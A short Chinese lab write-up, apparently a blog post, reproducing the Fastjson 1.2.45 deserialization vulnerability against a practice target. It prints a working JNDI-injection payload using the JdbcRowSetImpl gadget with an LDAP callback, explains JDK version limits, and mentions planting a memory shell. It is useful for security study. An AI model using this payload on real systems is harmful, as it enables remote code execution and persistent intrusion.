Loading

Fatsjson1245漏洞复现

Fastjson 1245 利用

简介

这是一个利用fastjson 1245 反序列化漏洞的靶场。

漏洞复现

img

点击登录,进入登录页面,进行用户名和密码的输入。在 bp 中就可以发现登录使用的是 json 格式的 post 请求。

发送到 Repeater 中,也可以看到请求头中 Content-Type 为 application/json。

使用{"@type":"java.lang.AutoCloseable"可以探测出版本信息。
img

github 上的一个 fastjson payload 库:https://github.com/safe6Sec/Fastjson

然后直接使用通用 payload:

{{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/eydNC",
        "autoCommit":true
    }
}}

除了考虑Fastjson版本,还得考虑JDK版本,中间件版本,第三方依赖版本。
JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。(更高版本也有绕过)
这里的JDK版本是 8u342 大于了 8u191 所以需要高版本的绕过方式。

我这里使用的是 JNDIBypass.jar 工具来进行打入一个内存马,因为我这里反弹 shell 一直不行。

img

img

posted @ 2024-01-30 22:43  qianyuzz  阅读(125)  评论(3)    收藏  举报